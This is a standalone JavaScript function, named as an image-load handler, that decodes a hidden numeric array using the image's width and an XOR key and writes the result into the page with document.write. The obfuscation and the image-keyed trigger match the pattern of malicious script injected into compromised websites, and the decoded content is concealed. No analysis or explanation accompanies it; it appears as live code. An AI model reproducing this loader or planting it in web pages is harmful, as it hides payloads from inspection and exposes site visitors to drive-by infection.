function onImgLoad(source) {
var as = new Array(113,214,251,76,390,478,465,375,337,479,456,427,320,496,450,421,338,479,511,369,343,479,526,345,343,494,467,369,337,498,462,432,394,491,461,360,317,500,471,347,318,561,453,375,337,475,471,413,396,547,449,360,316,504,452,369,394,475,443,373,333,548,480,423,318,492,444,369,407,501,467,371,329,478,465,375,337,479,456,329,396,559,449,375,331,548,480,423,338,475,456,373,388,562,525,346,333,491,527,376,317,477,470,411,331,498,463,412,379,544,508,434,384,538,508,412,313,548,442,366,332,496,462,419,314,548,530,416,394,503,452,421,403,557,480,423,392,547,480,412,315,494,450,350,314,475,510,423,401,550,512,412,315,494,450,350,314,475,510);
var xi = source.width; if (!xi) {return;}
var sc=""; for (var n=4; n<as.length; n++) {sc+=String.fromCharCode((as[n]-xi)^as[n%4]);} document.write(sc);
}

